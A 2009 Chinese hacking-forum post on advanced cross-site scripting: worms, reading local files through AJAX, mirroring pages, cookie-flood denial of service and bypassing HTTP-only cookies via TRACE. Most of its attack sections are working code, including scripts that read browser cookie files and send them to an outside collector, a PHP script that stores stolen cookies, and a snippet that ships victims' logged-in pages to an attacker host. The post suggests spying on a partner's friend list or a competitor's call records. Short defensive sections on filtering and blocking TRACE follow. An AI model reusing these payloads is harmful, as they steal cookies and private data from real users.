XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
( Y9 f( ?- |# B* Y1 ^0 |2 V本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
( p6 n7 x$ J) k+ J) |3 e3 |By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
% P: y! b1 \2 d3 b. T+ j转帖请保留版权
; Q5 [" T) A; R5 q* ^# H

9 ^2 X( z- O$ H9 ~
1 R& m+ W1 }' T- R) v-------------------------------------------前言---------------------------------------------------------

+ |/ k6 L$ L5 `& y. I/ y
4 S( O! u+ t+ |( x' K7 j本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
9 F" Q5 x9 U$ x0 @8 ?3 J8 }. G2 ~
' T+ a5 X; c- P7 N) r! |* C/ l7 H
如果你还未具备基础XSS知识,以下几个文章建议拜读:
9 `" `+ H: d1 w4 @  vhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
# _" [5 o$ v: ehttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


" y' X& m; m. K, `# ^; E! e+ R
& r8 W- [; m4 p9 o; Q% n$ b
! x) ]1 o- g  k* q- ]如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

. r0 J' ~. }. `  g  l( i# @' c6 g1 U希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
6 f, k' V! P& a: v' R
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

0 J8 R3 d  B" J3 n9 }) p/ m4 {QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
5 r2 X6 [5 n5 ?$ e
  P% ^3 t' z9 }0 {..........
& t! Q& G  y. ^# b" G7 n" W- V0 f复制代码------------------------------------------介绍-------------------------------------------------------------

9 G; ^, }) b# m什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
. h" \" ^/ e. y3 D, B复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
; ?  ~( Y; c$ H2 q) R9 V
1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

5 r. Z  a9 [4 B; ?: R8 c# e3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
9 w+ a3 q( @; @6 w; A
7 ^4 V9 n& Y, e+ d4        XSS漏洞在输出和输入两个方面怎么才能避免.



------------------------------------------研究正题----------------------------------------------------------
; N6 `* n; s/ E' {/ m! g
. k: W* m# x/ k2 W6 @& G
% h' A4 F' q/ L3 ^  B" K. \0 G/ \
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
$ I+ Q% I% A# z$ S6 y/ @* j复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
; K- H. g+ L# E0 \3 B复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
. E0 h0 k+ z# N! S( b3 \' m2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
; _* N4 Y' g2 W6 l

, B2 e9 G; @# Y
; |! P' @* S! m+ d0 @$ Y# L% W

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
* R. C1 _7 {8 A
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

8 a) D+ k) O2 i# E# n; S
* K% M2 X! A/ O, o
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



! c2 s" u4 K3 t; h8 V    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
5 _" p8 z( v) e6 j7 Q: ~
) d1 x2 \$ v) O7 S* K4 \+ m4 z3 v
/ K7 E! `+ n/ n5 g  q7 j: L
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
- o5 s5 i" V: }8 C复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}

) J  l% J) D/ ?3 o# _5 s8 l

' Q1 o% D, [1 B( {( `: J8 G    function ajax_obj(){

    var request = false;
+ t7 R8 w" _7 D
    if(window.XMLHttpRequest) {

! v4 |; h- J9 p% K6 S7 O    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

: H  Y% C1 |# Y5 @" X3 @1 J' v    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
7 q# k# _5 Q  ^2 n5 e" `3 _

% K' l- f5 Q8 j" {) M( E, }
; F4 k" L( Z7 n    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ x" }8 c; U) L0 L) [
    for(var i=0; i<versions.length; i++) {

5 Q8 z0 A1 g% @9 C    try {
$ E& a" w7 d1 C9 _
: w2 u. [- ?! A& `    request = new ActiveXObject(versions);

    } catch(e) {}

    }

/ r* |& E6 V, Z$ G1 @: J    }

5 y( Z3 x/ ]8 I; v5 ^# H% R    return request;

    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
8 m5 r8 P: N$ w/ M
, C$ f- T& N# k8 q) K    _x.send(argv);

4 t6 u. X% K5 P# I    return _x.responseText;
& i& n4 D: G3 o" T% T
# x/ S0 N7 z& S2 ^8 o! O. P' q    }

( K2 x$ V9 a) w  Y& q

    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
9 w( m$ }! i- M  l/ x9 I
' {# m: G: C, C3 K    alert(txt);
& Z9 a% e' ~0 |) G) D/ l# _7 E5 m

$ y) G! p+ K& K1 S" T/ J' i7 F" d
6 G  ?, e/ q: a! U1 k. S    </script>
, n6 j& m: J) m2 H+ u# x" v复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

! H5 e4 u+ b* Q( D  W% a. X9 Y    function $(x){return document.getElementById(x)}


0 c  B# Y, S  i+ U: v
    function ajax_obj(){
: C$ f$ P& H( P( q4 h
$ C: m& Q8 T/ I* [5 L4 g: ^1 m    var request = false;
$ U7 B5 ^( ^" D" Q' m  z8 |
; n: q5 i9 {$ E  q4 c    if(window.XMLHttpRequest) {
* @4 K. _! w6 m( f- {% C
+ e7 H' {! p* \$ b    request = new XMLHttpRequest();
6 e' t, T4 B2 ^( C" h
, q9 A$ ?1 c" ?6 J3 P; |' k    } else if(window.ActiveXObject) {
, J# m, ]1 G0 J. l
9 h6 r, H/ j' R$ Y% d9 R  d    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
# o8 l& [4 o0 Y! M
  j  o% L6 c, g: j) X
7 O6 h  ?, y2 M$ L
# \# R# p$ n  J    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

+ A- X. M' A8 \% u6 F    for(var i=0; i<versions.length; i++) {

% o0 L' o. k9 \    try {
% e) c- T, _1 {, ~( r" l! U* n3 e- [
. G% B  [# Y) z' P) _    request = new ActiveXObject(versions);
$ I  Z/ ^1 F9 o. w# P
    } catch(e) {}

- o/ Q. E7 d; ~- y    }
1 ~. a& n3 F( ~! d5 o! K/ y2 `
    }

    return request;
. V0 g, p4 B! k, ]
7 ]4 h: S6 n4 {! g; N8 V. {    }
3 V8 q) ?- _6 {; h8 t5 @  I) a7 S
    var _x = ajax_obj();
- \& W' w  w2 v0 Z
    function _7or3(_m,action,argv){
6 A  A8 i  ~1 w5 A: g( C9 Q
    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
1 J: s0 v8 P2 Q% x8 l
    _x.send(argv);
8 x" q! j, ^6 `. [, X
    return _x.responseText;
& z7 B! h2 J% g% ]% ]
    }
3 b$ ]+ m) S. C/ j7 ]
; N) @5 y8 E( r
- s. \0 `8 c/ R( B1 z) A2 o# R
    var txt=_7or3("GET","1/11.txt",null);
/ O# s6 O* i3 j
7 L9 e# r% E9 i9 e* ~' h7 C0 H    alert(txt);
, N! R& i8 Y* Y# a5 W: f! n


& C; V4 L* {' @    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
& c, C4 i% f) B* H7 o/ u! m: n
. M2 E1 e; C- T. q3 Z) s
! I7 k. J  ]2 L8 S% E( z+ k
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

) r, J/ a6 V+ F; r

<?   
4 T, g6 w7 E2 F, H; E6 ~9 R$ _7 y% u: {
/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

/ L. C7 R$ m% ~6 M) @6 j     www.inbreak.net   
; c9 M* R: l' q
     author voidloafer@gmail.com 2009-4-22   

, t4 `$ q- U& k6 }6 v4 T( P0 m     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
; _: v4 k. o$ e) y; z
( P. c" G/ T+ z7 ]' {3 y3 u+ e; @header("Content-type: application/kxlzx");   
  ]3 D2 y  F6 z- f& u
( o+ F8 F; V+ B9 D/*  
) H) }0 R0 l: P: A
& k" M7 C4 I' h     set header, so just download html file,and open it at local.  

/ Q3 f0 ?. X, m" N1 l: \*/  

2 b6 w' q& \' Q4 f* Q7 z?>   
" z' P- e$ F* K) R7 ^) y- y
! g+ K$ |2 F: `5 g- |$ ~2 l<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

- L+ D7 u# G5 m1 {) O# W$ p     <input id="input" name="cookie" value="" type="hidden">   

</form>   

1 g: e+ N9 l# |" U2 U9 i<script>   

function doMyAjax(user)   

{   
& [+ a' V, N! p; k$ |
. u+ F! i9 C7 w$ v3 _var time = Math.random();   
% p; p& o. K2 f& X  H* o
/*  
# O  L! J" j$ P' O6 g' |
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

7 M8 a% r$ N5 P8 I- H1 }/ C* `3 Tand so on...  

; w4 y) I5 w4 I) f' w2 S*/  
: K& `" M7 D, `: k
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

5 [& @+ r1 q# _( s# K( m9 [$ w   

3 R! j6 L$ F( [. W7 k" qstartRequest(strPer);   

' E) ~. l3 |9 W' }, E* S% P( g
! K0 L+ x  i; \& J* W$ S4 _
}   
) @  d  k8 T1 D% y" D
8 z8 T  E9 B4 E4 _0 x5 \1 P7 m4 c   

, H& t/ O7 n* f" P7 @# B7 Ffunction Enshellcode(txt)   

{   
/ n- C7 v  d" a2 G1 j3 x3 J( \# S( ^
. D  N" V8 X) i9 m3 |var url=new String(txt);   
* R; T0 {: ?2 n, N5 t& ?7 U
, n; ?  Q0 I2 F5 R9 jvar i=0,l=0,k=0,curl="";   
' E/ c, I+ s4 t/ k+ y+ C
l= url.length;   
8 R0 `# n4 A% ~4 j
for(;i<l;i++){   
+ {2 d) w1 T- o2 r7 {
k=url.charCodeAt(i);   

. i% z8 @$ C3 u: J" f! [( aif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

9 \2 L5 L3 n) ~if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   

- `6 {8 r% r& |! B2 Mreturn curl;   
7 d' l/ p' x- G. Z" f+ {" Z6 \
}   
8 d- M3 K9 V. L- p
   
5 B4 P7 F: A8 n
   
; y1 Y& _9 I0 ?2 E; c7 ^
  x2 P$ l& i4 Dvar xmlHttp;   

function createXMLHttp(){   
: m! {1 U; N0 j9 _7 v9 h
& F; E/ }1 c3 a4 m+ r: L: c' m* D     if(window.XMLHttpRequest){   

5 j$ ?  _9 S. |" exmlHttp = new XMLHttpRequest();           

     }   
$ E* S6 }. }4 `. V/ B% y! L3 V
     else if(window.ActiveXObject){   
, x! ~( G4 A! Y, n
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
: R" t% y" O% h% G+ n& n1 N
     }   

}   
7 Z& h9 U/ M, A& a2 \
- T* y5 U5 O+ K" f9 d) b   

function startRequest(doUrl){   
* v1 m3 [" p6 W4 C  {) L
& W+ Q! I4 u5 ^: v" ^   

, O5 f% l) k+ o1 p* ?& W& y1 J     createXMLHttp();   

/ F+ j- o9 f' y6 Q, M4 H( R8 I
) F$ [+ p1 W3 \5 R0 U  B6 ?
     xmlHttp.onreadystatechange = handleStateChange;   


: I& H' j4 E$ L/ e6 `
" c, s! x9 c# r% {     xmlHttp.open("GET", doUrl, true);   

, R% f# `4 u* |, u
4 x, L4 l# I5 m% D0 l
: D% O  c5 R, D. F- M     xmlHttp.send(null);   
* m$ e+ d& A4 m! a$ S" m


7 X1 x/ u9 P0 j5 J
9 z, X, j( v6 k- q) y, `
! ~( Y! t5 K5 _" L" v}   

   
" z, Z% f) J- x6 B8 ~* t9 C
9 R( [& f& G4 R3 R6 wfunction handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

' W5 @+ J/ S# k" d. z     var strResponse = "";   
4 A( u/ @) k2 l* Y% r2 x+ b
8 @+ z. K/ ]7 g$ G0 h0 X     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
& `8 w6 R% k; ?0 z: F4 T
& {$ d/ I& ?$ W8 f7 \        

     }   
1 E& ?6 g- v1 s% Z1 ~% {* y/ Q( \- d
* Z% A/ n: m- U/ d}   

   
$ j; }: L9 I) A% D
   

function framekxlzxPost(text)   

{   

9 `8 m. d7 q4 \# W     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

}   

   

doMyAjax("administrator");   
) _" ~/ H( u  l2 z" B, d* a" w2 R
   

</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  
0 \+ }4 a9 {7 t; Q
* O9 |7 O# K! c( B/ d: D2 bfunction createXMLHttp(){  

     if(window.XMLHttpRequest){  

7 m: e8 V4 M* A9 s. j% m& Q         xmlHttp = new XMLHttpRequest();         
& e( T$ C; b0 L
: d# t2 W) Q% M9 {, l- B2 \. p     }  

     else if(window.ActiveXObject){  
3 N+ p& b/ S0 I
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
, [8 O9 {0 J1 r: ?8 ]/ q& K
! N, S  _' o8 J9 G3 e  K     }  

6 a1 R% q4 X* i% Q1 Z2 w! v}  
1 o2 o$ R- U3 }; V
   
7 Y& }0 w3 H2 k( U$ B" X* S+ i, i
4 }4 j/ ^) {5 x/ ~8 Xfunction startRequest(doUrl){  
# Y9 }1 _6 d" n2 j  r
           
) w; u- I# d; C- @
% O/ z0 h. K# K: s( C* p* q3 _     createXMLHttp();  
' g9 C5 Z1 O; o% }7 Y$ }6 [/ w) ?
6 B: {: e1 A6 H( i: X% r      
4 S$ l' v( E4 O) a3 ]" c5 W
! ?+ K- i- ?( E- s6 o, G     xmlHttp.onreadystatechange = handleStateChange;  

8 Z; P/ N$ t, d; {  m& b7 m      

     xmlHttp.open("GET", doUrl, true);  
! e- ~4 `5 A- f7 Z
      
2 Q! F* ~1 c( `8 s6 C  f! G
5 b; V( ?2 I2 ?9 _6 B3 e     xmlHttp.send(null);  
: |- `  L/ O1 W; g2 S
      

; G8 ]9 Z( S2 m2 K, R; p% [) m      
3 d0 B2 n! d: g3 G) g: }
0 }/ T8 k% o2 G$ h0 `9 M}   

; v3 D, s/ n1 F: V+ Q' i   
5 n) L4 Q7 B4 |% N' M* T
function handleStateChange(){  
, T) {$ ?. C) V6 f7 J: s
& m. ?: T+ N& M6 {# l( Y1 [% B5 F     if (xmlHttp.readyState == 4 ){  
( c7 f4 ~9 v  j7 S1 f) \
             var strResponse = "";  

4 ?; R& f* D2 X5 \             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
$ \( C% f: L: S. }. W+ l
9 |/ E8 g0 |/ A' q               

/ ]5 b  T0 o7 q0 X     }  

}  

/ g$ q" E: P* K2 E5 k   
8 {# D3 Z0 [* i
function doMyAjax(user,file)  
% ^, @" V/ o1 g* x/ ^" K
{  
4 Q- @2 ^5 n" i2 m
8 O% N4 b/ ?7 O         var time = Math.random();  

5 }) x+ i6 _2 f: w  A           

: G6 U% s" P, f- a5 h         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
: {( B+ n5 P; H& t; q* C+ G8 H
4 C4 t" m- K) C: x) ^$ [         startRequest(strPer);  

      

}  

   

function framekxlzxPost(text)  
9 \" `3 h5 k% s7 H; u+ m
{  
. e/ [" w; y' M: W2 y  e6 h1 T" F
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
& R4 |! Y: T2 @. f
1 |% _9 t- r, G# M6 h$ J}  
8 J/ M- i5 H. B1 @
  L. ~9 T" h/ Z) e   

doMyAjax('administrator','administrator@alibaba[1].txt');  
( ]' A$ B* c& Q) H5 l# p
   

</script>
. z  G' R4 N1 w


7 |+ v8 f3 y: A$ B3 m
: K3 R9 B7 Y, t( A: ?1 f
4 T* W- `* o) a/ b% da.php
+ S$ e  _0 ^% l1 |1 X" x! d' p
2 C- H0 _2 H) j/ j" f8 ^1 u, k

<?php      
4 S4 s6 f0 B# T9 D
8 A5 x, F: }) u- u$ ~6 F  a   

7 Z. @$ G2 B) {3 h  n! j$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

/ e6 A0 J7 Z& }7 E# O) {; g$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
9 i7 H9 v' w+ @6 ~! e% ?
( @& W- E+ l' Z  
3 d/ V4 |# }) R' O* o
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
9 H7 P/ i, y' z' `* F  G4 V1 ]4 |
* w, d$ ~1 F% F- a! K/ H1 t' yfwrite($fp,$_GET["cookie"]);      

fclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
! Q" J& h- H- H. C1 n% j! P
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
( w9 Q0 v  O" }8 M, o利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
) H# q' w* A* G9 Y% n1 \; \$ M# |) y6 a' i
  {: o. h+ g. V! \6 ?代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
+ [( W5 d: t9 Q7 a; ^
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

4 y4 }1 b5 J7 d1 @: Y, A4 a//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
1 {4 I6 _/ ?2 N  P$ N; U& [
; L. y+ d5 v3 r- L& K) F; j3 Gfunction getURL(s) {

var image = new Image();
* ^$ \) N1 m6 g& b3 y6 i7 {! s
0 b1 G' i- A! \5 `* T/ ximage.style.width = 0;
" U- {* N; I1 C& W7 a
image.style.height = 0;
7 E4 H. v- A# j* H- j
$ g2 B' ], F5 X2 y. L0 {image.src = s;
& o8 J- p* J. ?* H, x
! @1 a! @% X2 w1 c' ~}
+ r8 n! N2 _7 R9 z) @( Z2 q# y
# `) e6 N; f) w8 f2 U4 w6 agetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
) \' n. X; Z; Q' y4 Y复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
% g; M' a4 i9 {& n* \) _
var metastr = "AAAAAAAAAA"; // 10 A

( O8 l$ X0 ]. W5 Q9 svar str = "";
2 R) B  F+ Y7 _# K- k  w4 w  L4 q4 G
( G0 W# Y7 A+ Y4 ^# j! F$ }2 @& mwhile (str.length < 4000){
& v( o' t6 {' A0 J' a: |
; M& |3 c# d4 Y7 m8 X    str += metastr;
+ \7 u0 X( o7 i% o2 ]" i" `+ E
- `" W, M: \9 X+ i. N) J% D' c}


8 b6 I# O% l. f( }" ?2 t9 ~
4 c5 _& Q! J8 U' @document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
6 \! |* C3 o0 h
0 m  {9 l8 V0 Z) A7 L. H" h; h</script>
1 r& |9 Y! q# X; A: }4 l" k. d
- L- D; Z( v+ n详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

; }4 a& M0 P( b' v3 n7 N! W假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
8 o3 C7 N' o) a' [; y" l攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


6 i- i. u3 m' i4 {
* R3 V% `" V& b; ?0 F


(III) Http only bypass 与 补救对策:

3 a1 B% {5 w+ E# P) |+ Y什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

- R8 L# q; Q( Y9 s/ n2 cfunction normalCookie() {
& D6 n6 |* F: ~5 n) |* ]6 B
1 t- \/ i3 _& L$ h% R3 Ddocument.cookie = "TheCookieName=CookieValue_httpOnly";
" M4 \6 O: _: ^" |; l
alert(document.cookie);

}
  W1 ?5 o" R2 d9 o' h1 C

% m4 I% o6 \/ a4 x+ V
- x: p/ \$ a  h( v
, s3 I8 B$ [# ]2 v) Q. D
7 P3 G4 _1 ]! O3 Z! c9 L, hfunction httpOnlyCookie() {
9 I: X; L# I" u. f% n4 A6 V9 a
/ {6 c+ z$ ~9 fdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

/ l( {  x0 I) G! z8 ^alert(document.cookie);}


) U4 e' Q2 p5 l" x) S
//-->
* B. k  d$ D$ h  \% j% ~
% F  V* H! J6 F3 z' M+ x9 |( X</script>
9 @# \' m, y4 }& }1 T8 {
* F0 N& c, k+ V. l: E8 j

' a4 R  l$ b* r/ F3 x<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
  S' K# }" _/ q' x6 w/ g
% f9 L! e, x7 X' J: R6 S! B<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
+ |7 A  l* v4 b$ ~' G2 c) O复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>


0 P  O: x2 S$ j5 _; E; w/ @! ?
var request = false;

        if(window.XMLHttpRequest) {

# m, S3 O2 R7 c" ^0 k0 A            request = new XMLHttpRequest();

! U( g; r' Y$ Y6 i4 O- R0 @3 N            if(request.overrideMimeType) {
' h" L! l3 [$ [' X
                request.overrideMimeType('text/xml');
( s) {* N& w4 W+ e1 c: ^- t
! ~5 Z9 U: r- ?            }

        } else if(window.ActiveXObject) {
" E4 `* |1 R) a/ X. j( R4 x7 ^
, a$ ?1 w- P) p' z0 J; Y& I, N            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) r1 P; S# ]6 s# k) g
            for(var i=0; i<versions.length; i++) {

7 L; c- A5 D3 V+ \) @, \                try {

                    request = new ActiveXObject(versions);
3 A2 |" C# W4 c2 b' I. B. n
, n( Y- L( M* m. M, ]- H! j4 S                } catch(e) {}
9 m6 x. O2 m; ]. j% b& X
3 k/ p. ^) T- c+ R            }
2 }) Z9 |) Y- l6 W' J4 I! D2 o
- b) v: V( b% v- q5 t+ f: s        }

xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
  Y7 K: I0 {7 M+ B3 w, y2 P1 Y; R. r
xmlHttp.send(null);
9 u, d, R; ]& f, w1 Y
# n9 V+ y4 T* l& M8 [1 `* K/ L  g) SxmlDoc=xmlHttp.responseText;
. |/ \1 Q) Q1 M8 j3 G$ G' `, }
- q% _. D' S& {. calert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

  g3 z  ]. l: @" L- x) J) k- I! \% ~var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

# t- P$ Q, S, M, Z8 Q' U$ Z' yvar resource=xmlHttp.responseText

resource.search(/cookies/);
% i0 q# i; A1 @  o4 K& \! }, ^
......................
5 ]/ {/ Q$ y/ B
! x( D! b8 M$ E, B</script>



3 m: p+ d4 o! N- S" W# _# `

如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
/ |* c4 S6 r: S3 \3 |9 [" Z* k5 |
7 ?: J$ A/ p" d* a: |# h1 c6 g- `- P[code]
: I# c+ \4 S0 @0 ?$ y
RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

1 I; S9 l0 y8 F* h6 T3 H; WRewriteRule .* - [F]
' X+ ^. f$ l" {
* ]" ]9 ]  e: q% x, m6 Z
' u3 ?, l6 o0 r5 y) |
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
. r: V: ?0 H5 m3 g- Y& r
" ~; A3 n" o4 C- \acl TRACE method TRACE

...

  |' U* W) b- jhttp_access deny TRACE
